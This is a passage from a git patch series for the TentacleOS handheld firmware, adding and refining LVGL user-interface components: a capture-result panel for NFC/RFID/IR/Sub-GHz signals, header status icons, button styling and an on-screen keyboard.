lv_obj_set_size(cont, WAVES_CONT, WAVES_CONT); + lv_obj_align(cont, align, x_ofs, y_ofs); + lv_obj_set_style_bg_opa(cont, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(cont, 0, 0); + lv_obj_set_style_pad_all(cont, 0, 0); + + for (int i = 0; i < WAVES_RING_COUNT; i++) { + lv_obj_t *ring = lv_obj_create(cont); + lv_obj_remove_flag(ring, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(ring, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(ring, 3, 0); + lv_obj_set_style_border_color(ring, current_theme.border_accent, 0); + lv_obj_set_style_radius(ring, LV_RADIUS_CIRCLE, 0); + lv_obj_set_size(ring, WAVES_MIN, WAVES_MIN); + lv_obj_center(ring); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, ring); + lv_anim_set_exec_cb(&a, waves_ring_cb); + lv_anim_set_values(&a, 0, 255); + lv_anim_set_duration(&a, WAVES_MS); + lv_anim_set_delay(&a, i * (WAVES_MS / WAVES_RING_COUNT)); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_start(&a); + } + + lv_obj_t *node = lv_obj_create(cont); + lv_obj_remove_flag(node, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(node, WAVES_NODE, WAVES_NODE); + lv_obj_set_style_radius(node, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_opa(node, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(node, current_theme.border_accent, 0); + lv_obj_set_style_border_width(node, 0, 0); + lv_obj_center(node); + + lv_image_dsc_t *icon_dsc = icon_path ? assets_get(icon_path) : NULL; + if (icon_dsc != NULL) { + lv_obj_t *img = lv_image_create(node); + lv_image_set_src(img, icon_dsc); + int32_t longest = + icon_dsc->header.w > icon_dsc->header.h ? icon_dsc->header.w : icon_dsc->header.h; + if (longest > 0) + lv_image_set_scale(img, WAVES_ICON_PX * 256 / longest); + lv_obj_set_style_image_recolor(img, current_theme.text_main, 0); + lv_obj_set_style_image_recolor_opa(img, LV_OPA_COVER, 0); + lv_obj_center(img); + } else if (symbol) { + lv_obj_t *sym = lv_label_create(node); + lv_label_set_text(sym, symbol); + lv_obj_set_style_text_color(sym, current_theme.text_main, 0); + lv_obj_center(sym); + } + + return cont; +} From e7190581c9586a348a932caa855d29d25059c138 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:40:15 -0300 Subject: [PATCH 099/572] feat(ui): add capture_result panel for capture protocols --- .../capture_result/capture_result_ui.c | 233 ++++++++++++++++++ .../include/capture_result_ui.h | 123 +++++++++ 2 files changed, 356 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/components/capture_result/capture_result_ui.c create mode 100644 firmware_p4/components/Applications/ui/components/capture_result/include/capture_result_ui.h diff --git a/firmware_p4/components/Applications/ui/components/capture_result/capture_result_ui.c b/firmware_p4/components/Applications/ui/components/capture_result/capture_result_ui.c new file mode 100644 index 000000000..27b5cae63 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/capture_result/capture_result_ui.c @@ -0,0 +1,233 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "capture_result_ui.h" + +#include "st7789.h" + +#include "assets_manager.h" +#include "ui_chrome.h" +#include "ui_theme.h" + +#define COL_DIM 0x8A8594 +#define COL_RAISE 0x170A28 + +#define CR_TOP UI_CHROME_HEADER_H +#define CR_H (LCD_V_RES - UI_CHROME_HEADER_H - UI_CHROME_FOOTER_H) +#define CARD_H 70 +#define ROW_H 34 +#define GAP 6 +#define ICON_CELL 44 + +static const char *ACTION_SYM[CAP_ACT_MAX] = { + [CAP_ACT_PRIMARY] = LV_SYMBOL_UPLOAD, + [CAP_ACT_SAVE] = LV_SYMBOL_SAVE, + [CAP_ACT_AGAIN] = LV_SYMBOL_REFRESH, + [CAP_ACT_DISCARD] = LV_SYMBOL_CLOSE, +}; + +static lv_obj_t *bare(lv_obj_t *parent) { + lv_obj_t *o = lv_obj_create(parent); + lv_obj_remove_flag(o, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(o, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_border_width(o, 0, 0); + lv_obj_set_style_bg_opa(o, LV_OPA_TRANSP, 0); + lv_obj_set_style_radius(o, 0, 0); + lv_obj_set_style_pad_all(o, 0, 0); + return o; +} + +static void style_row(capture_result_t *cr, int i, bool sel) { + lv_obj_set_style_border_color(cr->rows[i], sel ? cr->accent : current_theme.border_inactive, 0); + lv_obj_set_style_border_opa(cr->rows[i], sel ? LV_OPA_COVER : LV_OPA_TRANSP, 0); + lv_obj_set_style_bg_color( + cr->rows[i], sel ? lv_color_hex(COL_RAISE) : current_theme.bg_secondary, 0); + lv_obj_set_style_shadow_width(cr->rows[i], sel ? 14 : 0, 0); + lv_obj_set_style_shadow_color(cr->rows[i], cr->accent, 0); + lv_obj_set_style_shadow_spread(cr->rows[i], sel ? -3 : 0, 0); + if (!(cr->saved && i == CAP_ACT_SAVE)) + lv_obj_set_style_text_color(cr->icons[i], sel ? cr->accent : lv_color_hex(COL_DIM), 0); +} + +static void refresh(capture_result_t *cr) { + for (int i = 0; i < cr->count; i++) + style_row(cr, i, i == cr->sel); +} + +static void make_card(capture_result_t *cr, lv_obj_t *root, const capture_result_cfg_t *cfg) { + lv_obj_t *card = lv_obj_create(root); + lv_obj_remove_flag(card, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(card, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(card, lv_pct(100), CARD_H); + lv_obj_set_style_radius(card, 13, 0); + lv_obj_set_style_bg_color(card, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(card, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(card, 1, 0); + lv_obj_set_style_border_color(card, cr->accent, 0); + lv_obj_set_style_shadow_width(card, 20, 0); + lv_obj_set_style_shadow_color(card, cr->accent, 0); + lv_obj_set_style_shadow_spread(card, -12, 0); + lv_obj_set_style_pad_hor(card, 10, 0); + lv_obj_set_style_pad_ver(card, 6, 0); + lv_obj_set_flex_flow(card, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(card, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(card, 11, 0); + + lv_obj_t *sq = lv_obj_create(card); + lv_obj_remove_flag(sq, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(sq, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(sq, ICON_CELL, ICON_CELL); + lv_obj_set_style_radius(sq, 11, 0); + lv_obj_set_style_bg_color(sq, current_theme.bg_primary, 0); + lv_obj_set_style_bg_opa(sq, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(sq, 1, 0); + lv_obj_set_style_border_color(sq, cr->accent, 0); + lv_obj_set_style_pad_all(sq, 0, 0); + lv_obj_set_style_clip_corner(sq, true, 0); + if (cfg->card_icon) { + lv_image_dsc_t *dsc = assets_get(cfg->card_icon); + if (dsc) { + lv_obj_t *img = lv_image_create(sq); + lv_image_set_src(img, dsc); + lv_obj_set_size(img, ICON_CELL - 12, ICON_CELL - 12); + lv_image_set_inner_align(img, LV_IMAGE_ALIGN_CONTAIN); + lv_obj_center(img); + } + } + + lv_obj_t *col = bare(card); + lv_obj_set_size(col, lv_pct(100), LV_SIZE_CONTENT); + lv_obj_set_flex_grow(col, 1); + lv_obj_set_flex_flow(col, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align(col, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START); + lv_obj_set_style_pad_row(col, 2, 0); + + lv_obj_t *title = lv_label_create(col); + lv_obj_set_width(title, lv_pct(100)); + lv_label_set_long_mode(title, LV_LABEL_LONG_DOT); + lv_label_set_text(title, cfg->card_title ? cfg->card_title : ""); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(title, current_theme.text_main, 0); + + if (cfg->card_sub) { + lv_obj_t *sub = lv_label_create(col); + lv_obj_set_width(sub, lv_pct(100)); + lv_label_set_long_mode(sub, LV_LABEL_LONG_DOT); + lv_label_set_text(sub, cfg->card_sub); + lv_obj_set_style_text_font(sub, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(sub, lv_color_hex(COL_DIM), 0); + } + if (cfg->card_value) { + lv_obj_t *val = lv_label_create(col); + lv_obj_set_width(val, lv_pct(100)); + lv_label_set_long_mode(val, LV_LABEL_LONG_DOT); + lv_label_set_text(val, cfg->card_value); + lv_obj_set_style_text_font(val, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(val, cr->accent, 0); + } +} + +static void make_action(capture_result_t *cr, lv_obj_t *root, int i, const char *label) { + lv_obj_t *row = lv_obj_create(root); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(row, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(row, lv_pct(100), ROW_H); + lv_obj_set_style_radius(row, 10, 0); + lv_obj_set_style_bg_opa(row, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(row, 2, 0); + lv_obj_set_style_pad_hor(row, 12, 0); + lv_obj_set_style_pad_ver(row, 0, 0); + lv_obj_set_flex_flow(row, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(row, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(row, 11, 0); + + lv_obj_t *ic = lv_label_create(row); + lv_label_set_text(ic, ACTION_SYM[i]); + lv_obj_set_width(ic, 18); + lv_obj_set_style_text_align(ic, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_set_style_text_font(ic, &lv_font_montserrat_14, 0); + + lv_obj_t *lbl = lv_label_create(row); + lv_label_set_text(lbl, label); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); + lv_obj_set_flex_grow(lbl, 1); + + cr->rows[i] = row; + cr->icons[i] = ic; + cr->labels[i] = lbl; +} + +capture_result_t capture_result_create(lv_obj_t *parent, const capture_result_cfg_t *cfg) { + capture_result_t cr = {0}; + cr.accent = cfg->accent; + cr.count = CAP_ACT_MAX; + cr.sel = CAP_ACT_PRIMARY; + cr.saved = false; + + lv_obj_t *root = bare(parent); + lv_obj_set_size(root, LCD_H_RES, CR_H); + lv_obj_align(root, LV_ALIGN_TOP_LEFT, 0, CR_TOP); + lv_obj_set_style_pad_hor(root, 10, 0); + lv_obj_set_style_pad_ver(root, 8, 0); + lv_obj_set_flex_flow(root, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align(root, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_START); + lv_obj_set_style_pad_row(root, GAP, 0); + cr.root = root; + + make_card(&cr, root, cfg); + + make_action(&cr, root, CAP_ACT_PRIMARY, cfg->primary_label ? cfg->primary_label : "Send"); + make_action(&cr, root, CAP_ACT_SAVE, "Save to library"); + make_action(&cr, root, CAP_ACT_AGAIN, cfg->again_label ? cfg->again_label : "Capture again"); + make_action(&cr, root, CAP_ACT_DISCARD, "Discard"); + + refresh(&cr); + return cr; +} + +void capture_result_next(capture_result_t *cr) { + if (!cr->root || cr->count <= 0) + return; + cr->sel = (cr->sel + 1) % cr->count; + refresh(cr); +} + +void capture_result_prev(capture_result_t *cr) { + if (!cr->root || cr->count <= 0) + return; + cr->sel = (cr->sel - 1 + cr->count) % cr->count; + refresh(cr); +} + +capture_action_t capture_result_selected(const capture_result_t *cr) { + return (capture_action_t)cr->sel; +} + +void capture_result_mark_saved(capture_result_t *cr) { + if (!cr->root || cr->saved) + return; + cr->saved = true; + lv_label_set_text(cr->icons[CAP_ACT_SAVE], LV_SYMBOL_OK); + lv_obj_set_style_text_color(cr->icons[CAP_ACT_SAVE], lv_color_hex(0x00E676), 0); + lv_label_set_text(cr->labels[CAP_ACT_SAVE], "Saved"); +} + +void capture_result_destroy(capture_result_t *cr) { + if (cr->root) { + lv_obj_del(cr->root); + cr->root = NULL; + } +} diff --git a/firmware_p4/components/Applications/ui/components/capture_result/include/capture_result_ui.h b/firmware_p4/components/Applications/ui/components/capture_result/include/capture_result_ui.h new file mode 100644 index 000000000..5195f41b8 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/capture_result/include/capture_result_ui.h @@ -0,0 +1,123 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef CAPTURE_RESULT_UI_H +#define CAPTURE_RESULT_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "lvgl.h" + +/** + * @brief Shared "I captured a signal — now what?" panel for the capture + * protocols (NFC / RFID / IR / Sub-GHz). + * + * Draws a result card (icon + type + key value) plus a vertical action list, in + * the content area between the standard chrome header and footer. It is visual + + * selection only — the calling screen drives it from its own input loop (like + * menu_component): UP/DOWN -> prev/next, OK -> dispatch + * capture_result_selected(). The primary action verb differs per protocol + * ("Emulate" for NFC/RFID, "Send" for IR/Sub-GHz). + */ + +/** + * @brief Selectable actions offered on the capture-result panel. + */ +typedef enum { + CAP_ACT_PRIMARY = 0, ///< Emulate (NFC/RFID) or Send (IR/Sub-GHz) + CAP_ACT_SAVE, ///< persist to the library + CAP_ACT_AGAIN, ///< discard current, capture a new one + CAP_ACT_DISCARD, ///< drop it and leave + CAP_ACT_MAX, ///< action count sentinel +} capture_action_t; + +/** + * @brief Configuration for a capture-result panel. + */ +typedef struct { + lv_color_t accent; ///< protocol accent (tints card, value, selection) + const char *card_icon; ///< ".bin" path for the card icon (may be NULL) + const char *card_title; ///< e.g. "Signal captured" + const char *card_sub; ///< e.g. "NEC protocol" (may be NULL) + const char *card_value; ///< e.g. "cmd 08 F7" — shown in accent (may be NULL) + const char *primary_label; ///< "Emulate" / "Send" + const char *again_label; ///< "Read again" / "Receive again" / "Capture again" +} capture_result_cfg_t; + +/** + * @brief Runtime handle for a capture-result panel. + */ +typedef struct { + lv_obj_t *root; ///< root container of the panel + lv_obj_t *rows[CAP_ACT_MAX]; ///< action row containers + lv_obj_t *icons[CAP_ACT_MAX]; ///< action row icon labels + lv_obj_t *labels[CAP_ACT_MAX]; ///< action row text labels + int count; ///< number of active actions + int sel; ///< index of the highlighted action + bool saved; ///< true once the Save row is confirmed + lv_color_t accent; ///< protocol accent colour +} capture_result_t; + +/** + * @brief Build the decision menu (summary card + action list) on a screen that + * already has the standard chrome header/footer. + * + * Meant to be shown AFTER the calling screen has presented its own + * captured-signal view for a moment (the card/waveform each protocol draws). + * + * @param parent Screen that already carries the chrome header/footer. + * @param cfg Panel configuration (labels, accent, card content). + * @return The panel handle, returned by value. + */ +capture_result_t capture_result_create(lv_obj_t *parent, const capture_result_cfg_t *cfg); + +/** + * @brief Move the highlight to the next action. + * @param cr Panel handle. + */ +void capture_result_next(capture_result_t *cr); + +/** + * @brief Move the highlight to the previous action. + * @param cr Panel handle. + */ +void capture_result_prev(capture_result_t *cr); + +/** + * @brief Get the currently highlighted action. + * @param cr Panel handle. + * @return The highlighted action. + */ +capture_action_t capture_result_selected(const capture_result_t *cr); + +/** + * @brief Relabel the Save row to a "Saved" confirmation (call after persisting). + * @param cr Panel handle. + */ +void capture_result_mark_saved(capture_result_t *cr); + +/** + * @brief Delete the panel's objects (e.g. before starting a fresh capture). + * @param cr Panel handle. + */ +void capture_result_destroy(capture_result_t *cr); + +#ifdef __cplusplus +} +#endif + +#endif // CAPTURE_RESULT_UI_H From 60b3e9644f9668d3b70a547bb8a85f0b128bbceb Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:40:36 -0300 Subject: [PATCH 100/572] refactor(ui): flatten button fill to solid color --- .../components/Applications/ui/components/button/button_ui.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/firmware_p4/components/Applications/ui/components/button/button_ui.c b/firmware_p4/components/Applications/ui/components/button/button_ui.c index a67b96b46..ceedeead5 100644 --- a/firmware_p4/components/Applications/ui/components/button/button_ui.c +++ b/firmware_p4/components/Applications/ui/components/button/button_ui.c @@ -37,8 +37,7 @@ button_ui_t button_ui_create(lv_obj_t *parent, lv_obj_set_style_radius(b.obj, height / 2, 0); lv_obj_set_style_bg_opa(b.obj, LV_OPA_COVER, 0); lv_obj_set_style_bg_color(b.obj, BTN_BG, 0); - lv_obj_set_style_bg_grad_color(b.obj, BTN_GRAD, 0); - lv_obj_set_style_bg_grad_dir(b.obj, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_bg_grad_dir(b.obj, LV_GRAD_DIR_NONE, 0); lv_obj_set_style_border_width(b.obj, 1, 0); lv_obj_set_style_border_color(b.obj, BTN_BORDER, 0); lv_obj_set_style_pad_left(b.obj, 10, 0); From 1abf0d5145a495489f901123a87d37a56c84e4a5 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:40:56 -0300 Subject: [PATCH 101/572] fix(ui): add missing stdio/stdlib includes to footer --- .../Applications/ui/components/footer/footer_ui.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Applications/ui/components/footer/footer_ui.c b/firmware_p4/components/Applications/ui/components/footer/footer_ui.c index a47e88cbd..9a82c7c19 100644 --- a/firmware_p4/components/Applications/ui/components/footer/footer_ui.c +++ b/firmware_p4/components/Applications/ui/components/footer/footer_ui.c @@ -15,14 +15,17 @@ #include "footer_ui.h" +#include +#include + #include "esp_log.h" #include "cJSON.h" #include "storage_assets.h" +#include "tos_flash_paths.h" #include "ui_theme.h" -#define FOOTER_HEIGHT 20 -#include "tos_flash_paths.h" +#define FOOTER_HEIGHT 20 #define INTERFACE_CONFIG_PATH FLASH_CONFIG_INTERFACE static bool footer_is_hidden(void) { From 4096d81f6c8a06fb9e9188e8f0c73054dce363b3 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:41:26 -0300 Subject: [PATCH 102/572] feat(ui): tint header icons when active and use static battery --- .../ui/components/header/header_ui.c | 62 ++++++++++++++++--- .../ui/components/header/include/header_ui.h | 10 +++ 2 files changed, 63 insertions(+), 9 deletions(-) diff --git a/firmware_p4/components/Applications/ui/components/header/header_ui.c b/firmware_p4/components/Applications/ui/components/header/header_ui.c index 06dc749ed..736c528d6 100644 --- a/firmware_p4/components/Applications/ui/components/header/header_ui.c +++ b/firmware_p4/components/Applications/ui/components/header/header_ui.c @@ -19,11 +19,45 @@ #include "st7789.h" #include "assets_manager.h" +#include "bq25896.h" +#include "sd_card_init.h" #include "ui_theme.h" #include "wifi_service.h" #define HEADER_HEIGHT ((LCD_V_RES * 9) / 100) +#define HEADER_ACTIVE_TINT_HEX 0x00E676 + +#define STATUS_TINT_POLL_MS 500 +#define WIFI_STATUS_POLL_MS 500 +#define WIFI_ANIM_MS 800 + +static lv_obj_t *bt_img_ref = NULL; +static lv_obj_t *card_img_ref = NULL; +static bool s_ble_active = false; +static lv_timer_t *status_tint_timer = NULL; + +static void apply_active_tint(lv_obj_t *img, bool active) { + if (!img || !lv_obj_is_valid(img)) + return; + if (active) { + lv_obj_set_style_image_recolor(img, lv_color_hex(HEADER_ACTIVE_TINT_HEX), 0); + lv_obj_set_style_image_recolor_opa(img, LV_OPA_COVER, 0); + } else { + lv_obj_set_style_image_recolor_opa(img, LV_OPA_TRANSP, 0); + } +} + +void header_ui_set_ble_active(bool active) { + s_ble_active = active; +} + +static void status_tint_timer_cb(lv_timer_t *timer) { + (void)timer; + apply_active_tint(card_img_ref, sd_is_mounted()); + apply_active_tint(bt_img_ref, s_ble_active); +} + static lv_font_t *inter_font = NULL; static bool header_wifi_connected = false; @@ -140,8 +174,7 @@ void header_ui_create(lv_obj_t *parent) { lv_obj_set_style_bg_opa(header, LV_OPA_COVER, 0); lv_obj_set_style_bg_color(header, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(header, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(header, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_bg_grad_dir(header, LV_GRAD_DIR_NONE, 0); if (!inter_font) { inter_font = lv_binfont_create("A:assets/fonts/Inter.bin"); @@ -183,10 +216,19 @@ void header_ui_create(lv_obj_t *parent) { lv_obj_t *bt_img = lv_image_create(icon_cont); if (bt_icon_dsc) lv_image_set_src(bt_img, bt_icon_dsc); + bt_img_ref = bt_img; lv_obj_t *card_img = lv_image_create(icon_cont); if (card_icon_dsc) lv_image_set_src(card_img, card_icon_dsc); + card_img_ref = card_img; + + apply_active_tint(card_img_ref, sd_is_mounted()); + apply_active_tint(bt_img_ref, s_ble_active); + + if (status_tint_timer == NULL) { + status_tint_timer = lv_timer_create(status_tint_timer_cb, STATUS_TINT_POLL_MS, NULL); + } for (int i = 0; i < 4; i++) { if (!battery_dscs[i]) @@ -202,27 +244,29 @@ void header_ui_create(lv_obj_t *parent) { lv_obj_set_style_border_width(bat_cont, 0, 0); battery_img = lv_image_create(bat_cont); - if (battery_dscs[0]) - lv_image_set_src(battery_img, battery_dscs[0]); + if (battery_dscs[2]) + lv_image_set_src(battery_img, battery_dscs[2]); lv_obj_center(battery_img); power_img = lv_image_create(bat_cont); if (power_icon_dsc) lv_image_set_src(power_img, power_icon_dsc); lv_obj_center(power_img); + lv_obj_add_flag(power_img, LV_OBJ_FLAG_HIDDEN); if (wifi_anim_timer == NULL) { - wifi_anim_timer = lv_timer_create(wifi_anim_timer_cb, 800, NULL); + wifi_anim_timer = lv_timer_create(wifi_anim_timer_cb, WIFI_ANIM_MS, NULL); } - if (battery_anim_timer == NULL) { - battery_anim_timer = lv_timer_create(battery_anim_timer_cb, 800, NULL); - } + (void)battery_anim_timer_cb; + (void)battery_anim_timer; + (void)battery_frame; + (void)battery_dir; header_wifi_enabled = wifi_service_is_active(); header_wifi_connected = wifi_service_is_connected(); if (wifi_status_timer == NULL) { - wifi_status_timer = lv_timer_create(header_wifi_status_timer_cb, 500, NULL); + wifi_status_timer = lv_timer_create(header_wifi_status_timer_cb, WIFI_STATUS_POLL_MS, NULL); } } diff --git a/firmware_p4/components/Applications/ui/components/header/include/header_ui.h b/firmware_p4/components/Applications/ui/components/header/include/header_ui.h index e5d924c28..a3b3bf508 100644 --- a/firmware_p4/components/Applications/ui/components/header/include/header_ui.h +++ b/firmware_p4/components/Applications/ui/components/header/include/header_ui.h @@ -20,11 +20,21 @@ extern "C" { #endif +#include + #include "lvgl.h" /** @brief Create the header bar on the given parent. */ void header_ui_create(lv_obj_t *parent); +/** + * @brief Tell the header whether BLE is currently active/connected. + * Call from the BLE service when the link state changes; the + * header will tint the BT icon green when true. Default is false + * (icon stays in its default white tone). + */ +void header_ui_set_ble_active(bool active); + #ifdef __cplusplus } #endif From 1d2f0ad037c75073dbb5baf7981849970cea72f4 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:41:42 -0300 Subject: [PATCH 103/572] feat(ui): enlarge on-screen keyboard and add keyboard_is_open() --- .../components/keyboard/include/keyboard_ui.h | 11 +++++ .../ui/components/keyboard/keyboard_ui.c | 49 ++++++++++--------- 2 files changed, 36 insertions(+), 24 deletions(-) diff --git a/firmware_p4/components/Applications/ui/components/keyboard/include/keyboard_ui.h b/firmware_p4/components/Applications/ui/components/keyboard/include/keyboard_ui.h index 45385581b..a63785fb9 100644 --- a/firmware_p4/components/Applications/ui/components/keyboard/include/keyboard_ui.h +++ b/firmware_p4/components/Applications/ui/components/keyboard/include/keyboard_ui.h @@ -20,8 +20,16 @@ extern "C" { #endif +#include + #include "lvgl.h" +/** + * @brief Callback invoked when the on-screen keyboard submits its text. + * + * @param text The submitted text. Valid only during the callback scope. + * @param user_data User context passed to keyboard_open(). + */ typedef void (*keyboard_submit_cb_t)(const char *text, void *user_data); /** @brief Open the on-screen keyboard. */ @@ -30,6 +38,9 @@ void keyboard_open(lv_obj_t *target_textarea, keyboard_submit_cb_t cb, void *use /** @brief Close the on-screen keyboard. */ void keyboard_close(void); +/** @brief Whether the on-screen keyboard overlay is currently shown. */ +bool keyboard_is_open(void); + #ifdef __cplusplus } #endif diff --git a/firmware_p4/components/Applications/ui/components/keyboard/keyboard_ui.c b/firmware_p4/components/Applications/ui/components/keyboard/keyboard_ui.c index 5c7cebf85..da8c9301e 100644 --- a/firmware_p4/components/Applications/ui/components/keyboard/keyboard_ui.c +++ b/firmware_p4/components/Applications/ui/components/keyboard/keyboard_ui.c @@ -34,9 +34,10 @@ #define KB_BTN_FOCUS current_theme.border_accent #define KB_TA_BG current_theme.screen_base -#define OUTER_BORDER 4 -#define TOP_BORDER_H 46 -#define KB_H 160 +#define OUTER_BORDER 4 +#define TOP_BORDER_H 46 +#define KB_H 184 +#define KB_TEXT_BUF_SIZE 65 static lv_obj_t *kb_screen = NULL; static lv_obj_t *kb_obj = NULL; @@ -56,7 +57,7 @@ static void kb_event_cb(lv_event_t *e) { const char *txt = lv_keyboard_get_btn_text(target_kb, btn_id); if (txt && (strcmp(txt, LV_SYMBOL_OK) == 0 || strcmp(txt, "Enter") == 0)) { - char text_buf[65]; + char text_buf[KB_TEXT_BUF_SIZE]; const char *input = lv_textarea_get_text(kb_ta); if (input) { strncpy(text_buf, input, sizeof(text_buf) - 1); @@ -112,23 +113,22 @@ void keyboard_open(lv_obj_t *target_textarea, keyboard_submit_cb_t cb, void *use lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); lv_obj_set_style_radius(title_bar, 12, 0); lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(title_bar, current_theme.border_interface, 0); - lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_NONE, 0); lv_obj_set_style_border_width(title_bar, 2, 0); lv_obj_set_style_border_color(title_bar, ITEM_BORDER, 0); lv_obj_t *title_lbl = lv_label_create(title_bar); - lv_label_set_text(title_lbl, "KEYBOARD"); - lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_12, 0); + lv_label_set_text(title_lbl, "[ KEYBOARD ]"); + lv_obj_set_style_text_color(title_lbl, current_theme.border_accent, 0); + lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_14, 0); lv_obj_center(title_lbl); int ta_y = TOP_BORDER_H + 10; int ta_h = LCD_V_RES - TOP_BORDER_H - KB_H - OUTER_BORDER - 20; kb_ta = lv_textarea_create(kb_screen); - lv_obj_set_size(kb_ta, LCD_H_RES - OUTER_BORDER * 2 - 20, ta_h > 60 ? 40 : 30); + lv_obj_set_size(kb_ta, LCD_H_RES - OUTER_BORDER * 2 - 4, ta_h > 60 ? 40 : 30); lv_obj_align(kb_ta, LV_ALIGN_TOP_MID, 0, ta_y + (ta_h - 40) / 2); lv_textarea_set_password_mode(kb_ta, false); lv_textarea_set_placeholder_text(kb_ta, "TYPE HERE..."); @@ -149,30 +149,27 @@ void keyboard_open(lv_obj_t *target_textarea, keyboard_submit_cb_t cb, void *use lv_obj_align(kb_obj, LV_ALIGN_BOTTOM_MID, 0, -OUTER_BORDER - 2); lv_keyboard_set_mode(kb_obj, LV_KEYBOARD_MODE_TEXT_LOWER); - lv_obj_set_style_bg_color(kb_obj, KB_BG_TOP, 0); - lv_obj_set_style_bg_grad_color(kb_obj, KB_BG_BOT, 0); - lv_obj_set_style_bg_grad_dir(kb_obj, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_bg_color(kb_obj, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_dir(kb_obj, LV_GRAD_DIR_NONE, 0); lv_obj_set_style_bg_opa(kb_obj, LV_OPA_COVER, 0); lv_obj_set_style_border_width(kb_obj, 2, 0); lv_obj_set_style_border_color(kb_obj, BORDER_COLOR, 0); lv_obj_set_style_radius(kb_obj, 12, 0); - lv_obj_set_style_pad_all(kb_obj, 6, 0); - lv_obj_set_style_pad_gap(kb_obj, 4, 0); + lv_obj_set_style_pad_all(kb_obj, 5, 0); + lv_obj_set_style_pad_gap(kb_obj, 5, 0); - lv_obj_set_style_bg_color(kb_obj, KB_BTN_BG, LV_PART_ITEMS); - 